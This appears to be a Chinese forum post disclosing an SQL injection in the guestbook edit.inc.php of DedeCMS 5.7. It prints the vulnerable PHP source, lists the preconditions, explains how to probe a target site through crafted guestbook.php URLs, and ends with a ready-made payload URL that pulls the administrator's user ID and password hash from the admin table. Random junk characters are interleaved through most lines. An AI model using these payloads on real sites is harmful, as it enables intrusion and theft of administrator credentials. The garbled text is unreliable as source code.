影响版本为5.7
0 \! V; X; ^4 j; b# j% N, [) a6 _/ H/ Q! {% \0 [/ y5 U" `
漏洞文件edit.inc.php具体代码:
c7 L/ Z) @! H! I7 P* L
0 f0 a$ w% y* @; e+ \: i< ?php
$ H/ Z& Q3 n- ]3 F; ]. y' I" X8 D" y5 _4 P( ]& R2 Z% h1 I9 u
if(!defined('DEDEINC')) exit('Request Error!');
& ~# s0 z/ b& f1 [( x. `7 F) ^* Z' D R! C/ A x
0 ^! D! k" c6 d, p+ @7 ]. U3 `
' Q* b! {% B- v: P% F5 Z2 ~) Nif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 6 y( Y* J9 x: f, }: l! W% b
% L4 u+ P, v. N4 i
else $GUEST_BOOK_POS = "guestbook.php";
! b3 ?$ `5 y3 J+ [ w; O5 |8 Q9 \5 _0 ]) ~# U0 X
$ w+ g; G, p3 [) E6 S9 ]
7 ]& _% z4 W4 L# F( Y
$id = intval($id); / w, u Z- G$ n% S
, m$ {# n2 w) M! U9 d: n2 ^# ~
if(empty($job)) $job='view'; 2 I( c& j7 {- _9 ~' [8 d b
- U( o% N1 w, }8 ?( _- S6 v R: I 3 l1 [; Q4 H9 z$ \
+ c+ j, u3 N0 K
if($job=='del' && $g_isadmin)
9 X s; g: Y' ^0 p; t3 z& `% Q. W
{ * j. J( x/ x. w$ X2 C- l
& p$ ]3 n7 a2 Y- ?8 H8 d; p+ h: O
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
1 D# E, z1 u- v/ ]6 X& r5 p* M+ Q9 f( \7 t9 l
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
2 ^; |% P! z. S9 T& m- ^4 ~8 z& M0 f
exit(); 5 M6 m) M& @* D2 R1 q! v
5 r7 [2 i9 u: u
}
" v! J5 O6 y G+ [& o
' e0 n5 T) O' C$ k" u2 ?5 Pelse if($job=='check' && $g_isadmin)
- ^" F8 S- q1 k7 C, b6 }# w% K2 ]# S' B' }7 t4 | T2 `
{ * H% D1 w, C4 Q) v- ~
& M X1 c3 }+ L5 t: A! H
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 3 t( T8 f. K! _2 @9 T3 X$ K
2 f! x7 {3 R5 w8 g' ?: ^ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
! A( A: z+ b% r4 |
6 E! J9 x/ P- I5 G/ W5 x9 xexit();
* I. P8 E( ^5 G+ H, N% Y% `) ]: q
} . R' r; W: l5 n$ E# g
% K4 A9 a7 F& oelse if($job=='editok')
$ A( n6 J/ {7 r2 V# `
1 g/ r, X, M# H! H{ 6 {% Z$ f( W: R' h
, u0 L! G F7 v2 `+ X
$remsg = trim($remsg);
2 b! E z) z' _0 A% Z7 Y! f5 b" ~* b: Z! W6 V0 p1 _# W! u0 {- l
if($remsg!='')
4 j4 v; _' M/ U$ k. y
1 T3 I) B- h! v, |{ " W: s& e/ k* j8 N
9 \" `( {- }+ G
//管理员回复不过滤HTML By:Errorera blog:errs.cc
8 ` ^* p& T, G" l; c# T% c1 e8 j6 s. N
if($g_isadmin)
4 }# P% ~) n `0 m7 ?$ }6 J
& c( A" m0 t9 q5 n{ - l* o. m" `/ N0 \0 Y4 X0 S0 T+ a
. O8 }! i0 O5 B/ Y/ B$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; . ] E, Q6 j$ T% _8 r
1 J2 Y- I: A+ z1 i; m' N8 }//$remsg <br /><font color=red>管理员回复:</font> } 8 R* ]/ I* x, ~1 _$ s
9 z5 o, Z( f0 g! B1 r% Gelse
% ?. ?+ m, Z) y/ I( h& J; J" q: O( q! k+ H0 k
{ 7 o, N$ u" {" Z( v7 F
6 ?- r2 Q4 o4 P3 I1 D9 H8 b- k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
0 m9 `! _# ~( \1 Q6 b8 U( @2 H* B" B4 L& B
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # I* l+ W3 q( Y2 @/ ]
! @2 z1 A; R- X9 I
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); * g6 u2 n$ K7 m: t
: @/ Y2 k. O! N7 M8 R4 g* \
$msg = $oldmsg.$remsg; 5 N _8 Q3 L' b$ w; c+ A
) h+ |; m8 m; w}
5 y, ^9 j3 q- v* d% ^ x
* c, e- Y- q3 t) k- @" g6 p1 I} # o6 v" {3 p4 o H& @! G9 I
' E+ X5 j/ y+ j2 ~//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc . x8 s0 I1 t# N% X: Q5 @* g" F! Z: ^
# h0 @! R9 @6 b( b6 }: Z. k' k" Y$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
+ W/ x. _! u; F0 Y/ Z. d* L& C
9 ~8 }/ p' G1 Y9 \# ]& ?ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); 6 _( d; ]8 Z' [; t# v
z% X9 R" A/ q4 @: R) ~exit(); # E' j7 E. N: S- _! u2 a; |6 u
% Z2 g" o ]) I" ~
}
2 Q, N, }, `" i# R1 E2 p% k* l- o0 G8 M2 n8 H# }
//home:www.errs.cc
) T. \9 m3 J4 k! |, w2 [; _3 x! D7 Z6 ^. o9 A
if($g_isadmin) $ m1 ?* G; o I# r
4 S! ~* l; R- [: m7 R2 D% { U
{ , w+ s& m" P6 ~% r1 L; z4 k6 |
1 t4 I2 C5 B' ^: P
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
. r9 \7 m5 X% ?! E) m+ Q% C4 R8 A! w4 G! U6 U# O2 q+ r: f
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ; A: h0 ^2 C, D
2 t7 X- i! @( m0 w
} # }9 T0 J ^" X) [/ F4 i2 B* k
+ g5 c& U: V8 ~1 i8 v) Jelse / n/ W5 a# h9 i/ _' p% N
# A; n: C( e( }% f7 Y; ~" L: v
{ 4 K: T: ]/ M) y0 a* T
* r3 O: J/ P1 W; e) W* g. G/ F" @$ |
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
6 R* [. N2 J: Q1 N5 M& p$ }1 S# d5 j( p9 \- }
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); + |: D2 w, l; Q3 K# h4 w t1 P+ O9 H, t
) _+ K9 q7 r! i- g2 i
} 漏洞成功需要条件:
2 {9 d9 J3 W |1 a# J! F1. php magic_quotes_gpc=off H4 p( J3 s% u) q8 m
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; p; U& o. i* f, S$ ^3 e( ]3 D k8 X3 J3 N
怎么判断是否存在漏洞:
/ h5 g/ J" v8 r0 b" B$ n先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,. Z" u5 T6 \/ B$ \! ?8 T2 n ^
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID/ u/ g$ Y3 k9 h% p5 ~- E4 w0 ]2 g
访问:/ D6 n$ V. S& l" U
; J! X w( x) T# e3 Swww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了: C0 ^. c! [: H9 q0 ]4 }
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
9 W, j2 X2 p2 u. c
! B6 c5 n6 w& S+ V' A$ }
; j* E* c$ r5 w2 W' S. W+ A明漏洞无法利用应为他开启了 php magic_quotes_gpc=off7 _7 _" l- ]1 ^5 |0 A" F
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。% {+ u! H y4 }. c, V' |# u4 R
那么再次访问* ^ ~ X0 M" X) D
9 H# `; c' i9 R. D- V9 ywww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
1 T! m: Y& R" S3 [& d
4 G* i0 O3 }) t" W大概利用就是这样,大家有兴趣的多研究下!!
6 `3 V6 d# D4 ^+ o5 M
) h% @& Y2 T; G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, X' R* c+ t5 l2 k5 m/ l `" i/ I* n
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |